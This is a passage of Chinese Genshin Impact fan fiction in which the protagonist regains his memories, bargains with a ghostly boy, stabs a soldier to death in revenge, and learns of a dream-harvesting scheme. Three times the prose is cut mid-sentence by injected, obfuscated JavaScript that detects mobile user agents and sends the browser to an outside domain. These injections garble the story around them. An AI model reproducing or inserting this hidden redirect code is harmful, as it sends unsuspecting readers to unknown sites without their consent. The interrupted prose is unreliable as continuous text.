由于事先准备充足,还有现成的替罪羊,博士在此事后完美隐身,身上的受伤被他遮掩过去,谁也不会将他和这场意外联系在一起。 直到一百年后,博士带着他的研究重返教令院,在进行降神计划的同时向教令院贤者展示断片与世界树关联,换取学者信任好进行他的下一步研究。 只不过还没等进行下一步,散兵就给他半道截胡了,再然后,就是自己的手下叛变,将核心断片物归原主。这段记忆在离开月见里清也近一百年后,终于重新回到他自己手里。 从发生意外到支撑不住昏迷,总共半日的时光,看似很长,但放在现实中,恢复记忆不过一瞬间。 就算月见里清也做足了心理准备,但对他而言,这段记忆一时半会之间很难消化完。 那天所经历的一切,此时此刻化作了滔天的怒火,仿佛要将五脏六腑都焚烧殆尽。 月见里清也双目布满血丝,抬头看向屋里的钟表,距离他回家才过了五分钟,但他觉得这五分钟好像有一辈子那样长了。 他将断片收好,转身就要向外走。 但在经过茶几的一瞬间,桌上的茶壶毫无预兆从桌上摔下,碎了一地,瓷片崩的到处都是。 月见里清也垂眸看着一地瓷片,“谁摔的谁收拾。” 房间里一片死寂,没有人回答他。 月见里清也没管,跨过瓷片走到大门前,手指搭上门把手的那一刻,门口架子上的玻璃花瓶突然自爆。 月见里清也反应极快地抬手挡住,玻璃碎渣落了他一身,差点划伤脸。 这下强压的怒火终于憋不住了,他带着火气问:“有完没完?” 原本空无一人的沙发上渐渐出现一个人影,面对怒气冲冲的月见里清也,少年丝毫不惧,在沙发上坐的心安理得,“只要你不出门,我就可以停手。” “随你,想摔着玩继续摔。”月见里清也冷笑一声,完全不在乎少年口中的威胁,裹着火气走出家门后把门重重一摔。 开玩笑,腿长自己身上,他想去哪就去哪。 少年一愣,像是没想到他会直接摔门而出,连忙起身追上。 到了人来人往的街道上,少年的身形又开始变得暗淡,旁人无法看见他,但月见里清也可以。 这个形态下的他甚至可以用漂浮代替走路,无论月见里清也想通过哪种方式来甩掉他,他永远都快月见里清也一步,牢牢跟在月见里清也旁边。 最后搞的月见里清也不厌其烦,暗骂一声,认命了,走到一处没有人角落里问道:“你到底想干什么?” “我以为你会先对我的出现感到震惊。”少年颇为遗憾地说。 月见里清也“呵”了一声,抱着手盯着他。 “好吧,如你所见,我在拦着你,防止你干傻事。”少年说,“你读了那段记忆,应该知道我救你出于自己的目的,在我达成目的之前,我不会让他出现偏差。” 月见里清也挑眉,“那你还真是不了解我。” “不,恰恰相反。”少年说,“你敢说在恢复记忆的那一刻,没有杀了博士的想法?” 月见里清也沉默片刻,才开口道:“我当然想杀了他,但如果我说,我出门并不是要杀他呢?” 他是对博士恨之入骨,但他们中间还夹着一个降神计划,月见里清也再恨也只能忍,可那日伤害他的不止博士一人。 前几日那位助手还假惺惺的向他示好,要不是相貌没太大变化,月见里清也也很难把一脸掐媚的士兵和当初切断他脊椎的助手联系起来。 博士带出来的手下,要论心狠手辣的程度,还真是有过之无不及。 “可不光凶手,加害者我也不会放过。”月见里清也说,“这样你还有意见吗?” 只要月见里清也不盲目去找博士复仇,少年就没有意见,向月见里清也比了一个请的手势,示意他自便。 经过这么一折腾,月见里清也心中的火气散了大半,见时间还早,不利于自己潜入工坊,于是他冲少年一抬头,“聊聊?” 既然少年敢出现在他面前,自然不会拒绝,二人离开僻静的角落,少年飘在月见里清也旁边,“我还是好奇,你好像早就预料到我会出现。” “那个士兵我见过,他都没胆子在我面前说发生了什么,怎么会有胆子从博士手里偷东西。”月见里清也带着他来到咖啡店,把菜单递了过去,“和你当时控制我一样,你操控他去博士那里偷的东西。” “说的不错。”少年的身形依旧淡薄,他抵住菜单的一角,将菜单轻轻弹了回去,撑着头看着月见里清也,“想学吗?我可以教你。” 月见里清也能感觉出来少年心情不错,挑了挑眉没管他,“比起这个,你不如和我说说怎么控制神樱核心。” 少年愣了愣,“原来你想学这个,不过,这也是我来找你的目的,除此之外,我允许你问三个问题怎么样?” 面对少年的提议,月见里清沉思许久,等到服务生把咖啡端上桌,他才开口问了第一个问题:“与世界树相连的命运是什么意思?” “这是场意外。”少年顿了顿说,“但现在已经与你的命运关联了,世界树是你命运的终点。” 月见里清也搅了搅咖啡,“听起来像是我最后会因它而死。” “究竟世界树是你的终点,还是你会给他带来新生,这就要看你的选择了。”少年说。 “说真的,你应该跟占星术士有很大的共同语言。”月见里清也说,但不知是不是他的错觉,总觉得少年口中的“它”并不单单指世界树,于是问了第二个问题:“这一切都与我哥有关?” 少年点点头,默认了。 “只剩最后一个问题了,确定不问我点比较重要的消息?比如,身上那些特殊之处是怎么一回事? ” 月见里清也不为所动,端起咖啡喝了一口,“自己想死别带着我。” 占星术士韦尔奇说过,他的命运被人为隐藏了,能将隐藏命运的人绝非一般人。高位者的名讳乃至其象征都不能随意提及或亵渎,否则会招来杀身之祸。 就算少年敢说,月见里清也都不敢听。 “好吧。”少年一耸肩,“最后一个,你要问什么?” 月见里清也盯着他,“你到底是谁?” 少年一愣,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246229|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半晌才道:“抱歉,我不能说,你可以换个问题。” 月见里清也一挑眉,对少年的回答并不意外,顺着他的意思,换了一个问题,“你在踏鞴砂是就认识我,那你是何时将我划入你的计划之中的?” “远比踏鞴砂要早。”这个问题不牵扯少年不能说的事,他干脆回答道。 听到这个回答,月见里清也意味深长地冲他一笑。 不知道是不是少年神经过于紧绷,看到月见里清也这个笑,他的眼皮狠狠一跳,总感觉月见里清也憋着更大的事。 就见月见里清也撑着头问道:“你怕火,对吗?” 少年来无影去无踪,又能够隐藏自己的本事,与其说他是生灵,不如说是灵体,又或者说是个鬼魂。 在提瓦特所有生灵死后都会回归地脉,但有些地方因为地脉异常,或者是通过地脉将自己在生的记忆复现,都会出现死后之人无法回归地脉,游荡在现实世界的情况。 也就是说少年的存在必须有地脉作为维系。 正巧,月见里清也还有一块核心断片不知所踪。 既然博士只拿了一块断片,而他自己确定只有博士一人曾经生掏过他的核心,那就只能说明这块断片是在他在借景之馆沉睡时被人拿走的。 八重神子、雷电将军和散兵根本没必要拿他的核心,既然少年说早在踏鞴砂时期就认识自己,那少年就变成了嫌疑最大的人。 再加上少年会使用神樱核心,这就更加重了月见里清也对他的怀疑。 仔细想来,少年每一次出现都紧跟在月见里清也身旁,而灵体又无法脱离地脉太远,所以另一块断片大概率是被少年放在了自己身上。 “最危险的地方就是最安全的地方,这招不错,确实不容易被发现。”月见里清也看着少年愣住的表情,知道自己猜对了,“至于怕火,在我第一连接世界树的时候,遇到的深渊魔物拟态除了一场大火,我并不怕火,所以我当时猜测身边的一只猫怕火。” 说着他摇了摇头,“现在一想,你以记忆存活于世,化作意识随去并不算难事,魔物读取的不是我和那只小猫的记忆,反而是你的。” 少年表面维持着平静,在桌下的手却紧紧攥紧,指尖泛白,“你想怎样?” “别紧张,我你救过我两命,还帮我拿到神之眼,我并非不讲情义之人。”月见里清也说,“只要你我立场不对立,我就当做不知道。” 他偏头看了一眼窗外的天色,见天色已晚,他把杯中剩余的咖啡喝完,起身离开,“我可以不问你是谁,要做什么,只要你不伤害斯卡拉姆齐,一切都好说。” 他刚刚起身,少年按住他的胳膊说:“等等。” 月见里清也皱眉,偏头看向少年。 少年深吸一口气道:“差点忘了,你不是想学如何使用核心里的力量吗?” 月见里清也心里还想着怎么潜入工坊,闻言皱眉问道,“你就非要现在说?” “因为很简单,你一学就会。”少年说。 话到了这份上,月见里清也只好同意,在听到他同意的那一刻,少年紧攥的双手才送开,他迟疑片刻,才说:“我能问一句,你是如何猜到我拿走了你的断片?” 月见里清也将自己的猜测跟他说明,少年听后愣了一下,猛的松一口气,后知后觉的笑起来:“原来如此,我当是什么,没想到却是歪打正着。” “你跟聪明,月见里清也,但在这件事上,你并没有完全明白。”少年率先一步离开,经过月见里清也时,他又补上一句,“我会将一切都告诉你的,但不是现在。” 62.并未结束 少年带着月见里清也来到须弥城郊外的空地。 他伸手抚上他的胸口,“首先你不要将核心看做你身体的一部分,它只是个物件,将它视作你嵌在身体内部的神之眼,通过它调动力量。” 月见里清也下意识往后一躲,少年早有预料的扣住他,手上一用力,替他运转起核心中的力量,“我只教一遍,认真听着。” “神樱核心的力量来源是记忆转化为的力量,正常情况下,这股力量是雷元素力,但只要像这样控制能量在经脉中游走,然后使用出来,它就能增强你所使用的任何一种元素力。”少年说着,将手从月见里清也胸口移开,示意他自己尝试。 月见里清也试着调动力量,催动神之眼,一刀挥出,一颗碗口粗的大树被拦腰砍断。 少年在一旁看着,挑了挑眉,夸了句:“还不错。” 月见里清也感受着体内力量的流动,试图分析出一股更为纯粹的力量,以此掌控核心中净化的能力。 他左手上光点浮现,但那些光点还没来得及聚合,就被少年一巴掌拍散了。 好不容易快成功的月见里清也看着少年,心里十分不爽,“你干什么?” “我有必要提醒你一点,是神樱核心拥有净化的力量,而不是你。”少年说,“净化是以你的身体作为二者的桥梁,而你的身体早就被法则转化为人类的结构,何况核心还二次修复过,饶了它吧。” 月见里清也听懂了,与人类无异,也就代表着他的肉身不足以抵挡深渊,倘若他要强行净化神明知识里的污染,最后自己会先一步被侵蚀。 少年又补了一句:“当然,如果你是能将生死置之度外的人,当我没说。” 月见里清也将长刀收回鞘中,抬脚往城中走去,“那很不巧了,我这人最惜命。” 这次少年没有跟上去,望着月见里清也地背影消失在夜色里,他伸手摸着脖颈上有些狰狞的伤疤,自言自语道:“是吗,我曾经也这么以为的。” 说完他看向一旁,在那棵树后藏着一个人影,“尾随他人并不是一个好习惯。” 那人身穿愚人众执行官制服,戴着面具,“我认为我的告知已经很明显了。” “同一个把戏玩两遍就没一个意思了,从一开始我就在想,你为什么会留下那个士兵的性命,原来是给我布下的诱饵。”少年认出这不是前一次见到的那个切片,而是另一个博士,“目光还真是长远,佩服。” “上次没能见到你我颇为遗憾,来历成谜的少年,或者该叫你《絵空事》的作者?”博士话音刚落,以少年为中心,四周密密麻麻围满了愚人众的士兵。 “我对其中的故事情节很感兴趣,方便聊聊吗?” 关押士兵的场所位于工坊深处,两个愚人众士兵在外把守。 其中一人正低声和同伴交谈,突然闷哼一声,没说出口的话卡在喉咙里,晕倒在地。另一人见状刚想拉响警报,只见眼前黑影一闪,手还没来得及碰到按钮便被同样打晕在地。 看守倒地后,月见里清也轻踢二人几下,确保他们真的昏过去了,才看向大门的电子锁。 月见里清也手里没有第三层的任何权限,卡斯珀也不在,没有技术援助,他只好回归最质朴的办法,手上电弧闪烁,将大门的锁破坏掉。 一路上的电子设备都被他以同样的手段进行干扰,这些轻微干扰不会触发警报,等他离开后,元素力就会消散,被干扰的设备也会恢复正常。 月见里清也推门而入,这间审讯室是由一间小型实验室改造而成,他看着实验室的装横和绑在椅子上半死不活的士兵,刚刚恢复没多久的记忆与眼前的场景交错,有种恍如隔世的错觉。 但不同的是,受害者与加害者的身份对调,受害者变成复仇者,加害者变为案板上无力挣扎的猎物。 被绑在椅子上的士兵半昏迷着,嘴里还无意识的吐出几个无意义的音节,月见里清也听不清,干脆踢了踢椅子。 椅子向后滑出去一小段,跟地板摩擦发出刺耳的声音,士兵猛地惊醒,张嘴就喊:“不是我,我什么都不知道,我……我遇到了一个人……我真的不知道啊!” 不知道士兵在被抓获后经历了什么,但他显然没从博士的审讯中走出来,话说的语无伦次,月见里清也拿出自己许久不用军用匕首,轻轻拍了拍士兵的脸。 冰凉的触感让士兵立马回神,发现刀锋紧贴自己脸颊的时候吓了一跳,他愣愣地抬眼看着眼前之人,在看清月见里清也的一瞬间,心跳停了一拍,但他仍抱有侥幸,万一月见里清也没有完全恢复记忆呢? 月见里清也将士兵的慌乱尽收眼底,“这场景还真是似曾相识,对吧?” 这一番话成功戳破了士兵的侥幸,他拼命往后缩,想躲避月见里清也缓缓下移至自己脖颈处的匕首,月见里清也在他眼里已经不是人,而是一个讨命的厉鬼。 在匕首划破自己皮肤之前,士兵急中生智,喊到:“是我偷了那东西交给你!” 月见里清也停了手,但依旧没有将匕首拿开,问道:“你说什么?” “是我偷了东西交给你,也算将功折罪了?”士兵说着,露出一个讨好的笑。 在被少年操控的时候,虽然会失去自主意识,但仍会记得他操控着你干了什么事。 就好比月见里清也记得自己重伤博士的过程,如果他不是提前知道了底细,恐怕就让士兵给蒙骗过去了。 月见里清也意味深长道:“是吗,可我怎么听你刚才说‘你什么都不知道呢’?” 士兵表情一僵,紧张地舔了舔干涸的嘴唇,移开了视线,没看见月见里清也眼中的探究,“这……这不是怕暴露,给你惹来麻烦嘛。” “那在提取神明知识的时候,你怎么不说?”月见里清也继续问。 见月见里清也没起疑,士兵松了口气,说:“人多眼杂,怕被发现。” “哦,原来是这样。”月见里清也一笑,将匕首缓缓从士兵脖子上移开。 士兵被他笑的发毛,但好歹匕首从脖子上移开了,士兵狠狠地松了口气。 只是这口气还没松完,匕首在月见里清也手上转了半圈,月见里清也调整握刀的姿态,干脆利落地往士兵腹部捅了一刀。 这一切发生的太快,完全在士兵的意料之外,他先是愣愣地看了看腹部的伤口,然后才哀嚎出声。 “你说你将功折罪,那为什么这四百年来你没有一丝一毫的表现,直到我找上门了,才开始装模作样。”月见里清也说着,手上的力气中了三分。“究竟是你良心发现,还是单纯的怕我报复?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246230|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装做无事发生的样子过了四百年,无非就是赌自己再也想不起来,现在见事情败露,才将偷取核心之事揽到自己身上,无非是希望自己大人有大量。 倘若断片真的是他偷出来的,月见里清也可能还会考虑给他一个痛快,但事情并非如此,那就别怪他不客气了。 这一桩桩一件件的事,凭什么说过去就过去。 他阴恻恻地笑着问:“疼吗?” 士兵止不住的点头。 “放心,我有数,你暂时死不了。”月见里清也揪着他的头发,逼着他抬头看着自己,轻声说,“原来你也知道疼啊,你知道切断脊柱有多疼吗?” 士兵没回话,全身都在发抖,眼神中透露着恐惧,试图向月见里清也求饶,但疼痛让他的话语变得支离破碎。 “还记得我当时怎么说的的吗?”月见里清也说着将匕首抽出,换了另一个地方说,“我说过,我早晚有一天会杀了你。” “你…你不能杀我,博士……博士已经怀疑到你身上了,把我杀了更加重你的怀疑!”士兵叫嚷着。 月见里清也冷笑一声,说完狠狠地将匕首捅进去,“尽管来,我不怕他。” 士兵的衣服已经被鲜血染得一片血红,月见里清也这两刀挑得地方很巧妙,能让他痛得生不如死,但又不会立马毙命。 月见里清也专挑不致命的地方下手,忍耐许久的火气终于外泄出来,泄愤一样又捅了士兵几刀。 温热的鲜血溅到他的脸上,月见里清也逼自己停了手,看着衣摆上的鲜血,“啧”了一声。 士兵目光涣散,脸色因为失血过多而变得惨白,他的嘴唇动了动,气若游丝,“……我只是……想活着……不想死。” 月见里清也甩了甩匕首上的血珠,把脸上的血迹抹掉,“但你在你手下,被当做试验品的那些人,他们也想活着。” 匕首刺入心脏,士兵顷刻间就没了生息,月见里清也没有将匕首抽出,转身离开审讯室。 他的手套和匕首之间有一层稀薄的水元素作为隔绝,和扰乱电子设备的雷元素同理,消散后不会留下一丝痕迹。 离开工坊后,月见里清也按开怀表看了一眼时间,见已经过了十一点,抬手揉了把脸,思考回去该怎么解释。 但不论怎么想理由,自身血迹总归解释不清,月见里清也将染血的衣服往里掖了掖,又用干净的地方挡住,折腾半天,看起来总算没那么渗人了。 他顺着小路走了回去,没敢走正门,绕道屋后窗户处,屋内没开灯,有些疑惑的往里瞅了瞅,里面黑乎乎一片,没有人影。 月见里清也放下心来,虽然疑惑散兵为什么不在家,但这无疑是个好机会。 他顺着客厅打开的窗户翻进去,但还没等他落地,不知谁打了个响指,屋内瞬间灯光大亮。 散兵就靠在窗户一侧的墙边,手上元素力未散,偏头看着僵在窗框上的月见里清也说:“回来后看见一地的瓷片,还以为家里进贼了。” 他说着把月见里清也从窗台扯了下来,扯了扯嘴角,“现在看来,原来我弟弟才是这个‘贼’。” 月见里清也进来时衣服被窗户勾住,拉扯之间掖好的衣摆又被重新勾出来,他慌忙间伸手捂住,但为时已晚,散兵已经看过来了。 63.青羽澈 衣服上的血迹已经干涸,月见里清也既藏不住,又没办法让这些深红消失,索性破罐子破摔,把衣服整理好,站起身来。 从翻窗户的小偷,变成案发现场逃逸的凶手,只需要一件血迹斑斑的衣服,散兵看着几乎浑身是血的月见里清也,默默地吐出来一句,“先去洗澡。” 月见里清也有些意外的挑了挑眉,往前走了几步,“你不问我都干了什么?” 他没进屋之前还好,进屋之后身上血液那股腥臭味也迎面扑来,在须弥潮湿闷热的天气催化下,更是越发难闻。 散兵连忙后退几步,绷着个脸,话语里的嫌弃根本不加掩饰,“别让我说第二遍。” 这味道不光散兵能闻见,月见里清也被熏一路,鼻子都快失灵了,正巧他不知道该怎么解释这件事,散兵给他递了个梯子,他连忙顺着台阶就下。 月见里清也简单洗了个澡,把自己收拾出来一个人样后,看向被他扔在一旁的脏衣服。 这件沾满血迹的衣服他肯定是不会再穿了,也就没有清洗的必要。这时候能使用元素力的好处就来了,月见里清也控制好力度,将这件衣服处理好。 做完这一切后,他才准备离开浴室,手指搭在浴室门把手上,在即将开门的前一刻,他迟疑了两秒。 但很快,月见里清也就像什么都没发生过那样,擦着头发往客厅走去。在路过餐桌时看到前几日买东西,外包装带着的丝带没有扔,想了想,把丝带顺走了。 从浴室到客厅不过几步路,在这短短的几秒钟内,月见里清也手指翻飞,几根不同颜色的丝带在他手里变成了几朵颜色各异的花,随后用水元素手搓了个枝条,将这几朵花接成花束。 虽然就地取材做法简陋了些,但成品并没难看到哪去,月见里清也悄悄地递到散兵面前。 散兵没接,抬起眼皮看着无事殷勤的月见里清也说:“你当我是三岁小孩?” “我会跟你解释的。”月见里清也站在散兵身旁,只能低着头看坐在沙发上的散兵,冲他眨了眨眼睛,“不要绷着个脸了,我知道你不舍的打我。” 月见里清也拿着花束的手依旧没有收回去,散兵看着嬉皮笑脸的月见里清也,无奈地叹了口气,伸手接过花束。 在接触的一瞬间,水元素做的花枝消散,几朵小花安安稳稳地落在散兵的手心里,虽然嘴上嫌弃,但他握在手心里没扔。 散兵靠在沙发上示意月见里清也坐下,等他自觉做检讨。 从个人情感上来讲,月见里清也并不想欺骗自己的哥哥,况且散兵已经知道这场意外与博士有关,在散兵面前选择欺瞒,除了更伤他哥的心之外,并没有任何意义。 所以月见里清也选择告知,但不是事无巨细的详细告知。 他弱化了自己的经历和所受的痛苦,将博士的目的详细复述了一遍。这些事也势必会牵扯到少年的存在,他无法避开,只好简单的给散兵讲了讲他们二人的渊源。 “两个问题,第一,按照多托雷的性格,他不可能留那个士兵的活口,更不可能让他跟你接触。”散兵说,“第二,杀人就算了,还把自己整得脏兮兮的,我教你的那些你就饭吃了?” 与其说月见里清也是去复仇,不如说是在发泄自己的情绪,当然不会干脆利落的解决,月见里清也清了清嗓子一声,假装没听见第二句。 关于第一个问题,月见里清也从工坊顺利离开时也想过,这一路太顺了,不管是意外拿到断片还是他杀完士兵逃离工坊,这一路上都没都没遇到任何意外,就像有人故意安排好了这一切。 他说:“按照少年话中意思,博士很久之前就注意到他的存在了,上次博士并没有得手,就下那个助手的性命,或许就是给少年布下的诱饵。” 在那场意外中,少年趁着月见里清也重伤博士引发的混乱,带着他逃离了实验室。只要少年不主动现身,博士就很难发现少年的行踪。 所以月见里清也猜测博士所做的一切,不过是为了引诱少年现身,而少年本人也早有预料。 “这么谦虚?”散兵笑了一声说,“你可以把你自己加上,多托雷的目的恐怕还有你。” 月见里清也一愣,指着自己说:“我?” “还没明白吗?从一开始多托雷就没想让你参与降神计划,是他真的瞧不起你?”散兵说,“只不过我抢先一步,打乱了他的计划。” 不让月见里清也参与降神计划,是因为对于博士来说,月见里清也也是他重要的实验对象。 但是现在,月见里清也被自己强行与降神计划扯上联系,不管博士原本打算干什么,他都只能忍忍了。 第二天,士兵惨死的消息传遍了工坊,月见里清也从结束罐装知识那边的工作下来时,路过的每一个人都在说这件事。 卡斯珀带着团队搬到三层后忙着整理各种东西,暂时没空出去八卦,只好问月见里清也,“你知道那谁死了吗?” 月见里清也当然知道,但他揣着明白装糊涂,头也不抬道:“谁死了?” “昨天偷东西的那个士兵,昨晚被人捅死了,也不知道多大仇,下手怪狠的。”卡斯珀说。 “什么?”月见里清也佯装惊讶,“没查出凶手是谁?” 卡斯珀也觉得奇怪,摇了摇头道:“没有,但有意思的是,听第二席那边的口风,好像博士并没有要严查的意思。你说会不会是博士自己……” 月见里清也在一旁帮忙,各种学术报告研究数据看得他头晕,扫一眼标题就将文件分门别类的放好,闻言耸了耸肩:“谁知道呢。” 卡斯珀回头看见他漫不经心的整理数据,忍不住吐槽:“好歹这也是你的机体相关数据,上点心好吗,能不能向你哥学习学习?” 月见里清也两眼一黑,“你杀了我吧。” 各种文书文件他都能看,唯独搞不了学术研究,明明每个字他都认识,但这些字硬是组合成了一段他看不懂的话。 卡斯珀翻了个白眼:“……” 月见里清也勾了勾嘴角,继续快速分类文件,忽然他动作一顿,被最上面的那份文件吸引了目光,他放下手里其他的东西,靠着桌子翻开文件。 这份文件没有写什么特殊的东西,无非就是神明机体数据,但引起月见里清也注意的是机体的供能方式。 他和散兵的机体供能方式后面都只写了一个被划了下划线的词:收割梦境。 月见里清也皱眉,不懂这词的意思,他拍拍卡斯珀的肩膀,指着这词问:“收割梦境是什么意思?” 卡斯珀沉思片刻,问了他一句毫不相干的事,“你知道须弥人从不做梦吗?” “听说过。”月见里清也手里的暗线很早之前就收集过类似的消息,但只是听过,并不了解。 “教令院有一种技术,可以将人的梦境转化为能量。”卡斯珀解释说。 月见里清也懂了,“你的意思是说,是教令院收割了须弥民众的梦境,将其转化为能量?” 卡斯珀点点头,“大体是这个意思。” 他见月见里清也若有所思的样子,“有什么问题吗?” 月见里清也顿了顿,最后说了一句,“没有。” 他随手将那份文件放回文件堆里,重新开始分文件,就听耳边传来一句幽幽的声音,“其实你有意见,对吗?” 月见里清也被吓得一激灵,手里攥着文件转身呼过去,却什么也没打到。 文件穿透了少年的虚影,没对他造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259432|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成任何实质性的损伤,少年目的达到,一边笑着一边往后退了几米,跟月见里清也拉开距离。 “你要没问题的话,今天就开始生体改造,身体吃得消吧?”卡斯珀转身问他,见月见里清也捏着文件原地发愣,“你干嘛呢?” 月见里清也瞪了少年一眼,随后才对卡斯珀说,“没问题。” 卡斯珀没察觉到屋里多了个人,他注意力还在手里的数据上,点点头,“那行,我先去准备了。” 房间里只剩月见里清也一个人,他看着少年,语气有些无奈,“你没有自己的事要干吗?” 少年答得干脆:“没有啊。” 月见里清也:“……” “你都知道我的存在了,与其天天藏在断片里,不如出来透透气。”少年说,“提醒你一下,一会阴魂不散的薄荷乌鸦要来找你了。” 月见里清也:???? 什么玩意? 月见里清也没管他,任凭少年跟在自己身后,在出办公室门的前一秒,他脚步一顿,回身看向少年,问道:“你叫什么?” 少年“啊?”了一声,没反应过来。 “不愿意说名字,随便给个称呼也行。”月见里清也手指敲着把手,“不然我以后就叫‘喂’了。” 这对月见里清也来说没有什么影响,就是对少年来说,整天被“喂”来“喂”去地听着有些不爽。他想了想,说了个名字,“青羽澈,叫这个名字吧。” 月见里清也点点头,表示自己知道了,推门离开办公室,他本想直接去找卡斯珀结果人还没走到实验室,就被人拦下了。 他看着挡在面前一头薄荷绿发色、带着鸟嘴面具的博士,终于明白青羽澈口中的“薄荷乌鸦”是什么意思了。 月见里清也看着博士,险些就要笑出声,费了好大劲维护住面部表情,“博士大人有何贵干?” “月见里副官的实力还真是不容小觑,能绕过看守潜入审讯室把我手底下的士兵杀了,又不留下一丝痕迹。”博士说,“来看你是恢复记忆了?” 月见里清也扯扯嘴角说:“怎么,你是来找我算账的?” “算账?”博士低笑一声,声音却听不出任何情绪,“与之相反,我还要谢谢你呢。” 博士往前走了几步,身影压了过来,“如果不是你,我又怎么发现这些有趣的真相?至于其他,不过是些微不足道的牺牲罢了。” 青羽澈和个背后灵一样飘在他身后,双手放在他肩膀上撑着头,由于没有实体,他压在月见里清也身上时没有丝毫重量,幽幽地说:“我有点后悔了,要不我还是帮你杀了他吧?” 月见里清也努力忽略掉背后的碎碎念,看着博士逐渐逼近,他一步没退,“物归原主就是这件事最好的结局。” 说着他看向从实验室走出来的人,收回目光看向博士,“不然要不要让这件事变得再麻烦点?我是无所谓,我这人最喜欢看戏了。” “清也。”一道声音从博士背后传来,他都不用回头,就知道来人是谁了。 “明智的选择。”博士不打算和月见里清也硬耗,跟月见里清也擦肩而过,经过月见里清也的一瞬间,他又补了句,“毕竟,要以共同利益最主不是吗?” 他不在乎计划完成后士兵是死是活,甚至不在乎月见里清也恢复记忆后会对他怎么样,就像人不会害怕实验用的小白鼠。 这点也是让月见里清也最不爽的一点。 博士走后,月见里清也看到了在走廊尽头站着的散兵,他对散兵笑了笑,抬脚往对方那里走去。 但还没有几步,他脚步一顿,感觉到有点不对劲。耳边碎碎念的噪音自从散兵出来的那一刻就消失了,他回头看去,身后早已空无一人。 64.野心 门口架子上的花瓶已经买了新的,月见里清也将里面枯败的花枝拿出来丢掉,换上新水,才把修剪好的鲜花放进去。 月见里清也抱着手往后退几步,见花朵的高低没有什么问题,转头又拿起茶壶泡茶。新的茶壶和花瓶都跟几个月前打碎的那个是同款,要不是花纹的不同,还以为从来没换过。 他刚把泡好的茶端到客厅,散兵就带着卡斯珀回来了。 三个人上次这么坐在一起,还是在散兵和月见里清也刚到须弥的时候,转眼几个月过去,他们二人的生体改造也即将进入尾声。 “教令院又跟你谈了些什么?”散兵问。 生体改造结束,散兵下一步就需要跟机体进行连接,但月见里清也并不需要机体连接,改造结束后,他就又恢复了无所事事的状态。 可能教令院看不惯他闲着,于是今日找上门,商谈下一步计划。但在结束后,月见里清也没有第一时间向透露任何消息,反而让卡斯珀悄悄带着储存装置,跟着散兵回家。 “在教令院原本的计划中,他们通过虚空终端收集须弥民众的梦境,再将梦境转化为力量,用作正机之神的供能。”月见里清也说着将茶水倒入杯中,递给二人,“但发生了点小插曲。” 他说着,指了指自己。 关于教令院收割民众梦境之事,散兵和卡斯珀多少都有了解,但他们想不通这件事怎么和月见里清也画上等号的。 月见里清也继续说:“这件事还得从我收集神明知识说起,由于神樱净化污秽的能力,即使在我没有控制的情况下,这些知识进入我脑海的知识时都会被神樱核心无差别的净化。” “当然,核心没有完全净化掉深渊,但一定程度上减弱了污染,人们不会一接触就陷入疯狂。”说到这月见里清也的头就有些疼,他揉了揉额角,“但教令院的贤者误会大发了,他们认为我有‘转化’和‘统合’的能力,希望我去过滤民众的梦境,将它提纯。” 散兵闻言啼笑皆非,“让你干什么?” 月见里清也叹口气道:“将梦境提纯为高质量梦境。” 卡斯珀对月见里清也的身世了解不多,听起来有些迷茫,散兵给他简单的讲了前因后果后,他才豁然开朗。 除了绝不瞎打听这个优点之外,卡斯珀还有个优点就是对任何消息都接受良好,适应现状的速度非常快。 “大概就是,贤者认为你能将神明知识转化成这几罐罐装知识,就认为你有统合提纯的供能;又因为污染被净化了,所以又认为你有将不能被世人理解的知识转变为可以被理解知识的能力?”卡斯珀总结了一下。 月见里清也心累地点点头。 人类的梦境千奇百怪,有美梦也有噩梦,世人没有标准评判一个梦是好还是坏,但教令院则根据梦境转化能量的多少,来将梦境划分高质量梦境和残次品梦境。 贤者要月见里清也做的,就是连接虚空终端,将收集上来的残次品梦境过滤出去,只留下转化率高的高质量梦境。 毕竟月见里清也连神明知识都可以搞定,处理梦境对他而言当然是小儿科。 散兵看着故作深沉的月见里清也,心里知道他的算盘打的噼啪响,“但这也不是坏事。” 月见里清也勾了勾嘴角,对散兵眨了眨眼,“还是哥哥了解我。” 卡斯珀瞪着眼看着他们兄弟两个,听的一头雾水,好像自己突然之间听不懂话了,一点没听懂他俩想干啥。 “双胞胎就是好啊,话都不用说全对方就能理解你什么意思,但是这里还有个大活人呢,请打开天窗说亮话好吗?”卡斯珀和善的笑着,语气听起来快要打人了,完美遗忘他俩非人之身,不是双胞胎的事实。 但谁也没纠正卡斯珀的错误,散兵说:“夜晚不必白天,留下看守装置的人不会很多,更何况人们做梦的时间通常是后半夜,装置又是自动完成收集。试问,在这种情况下,你有多大概率保证你不会打瞌睡?” 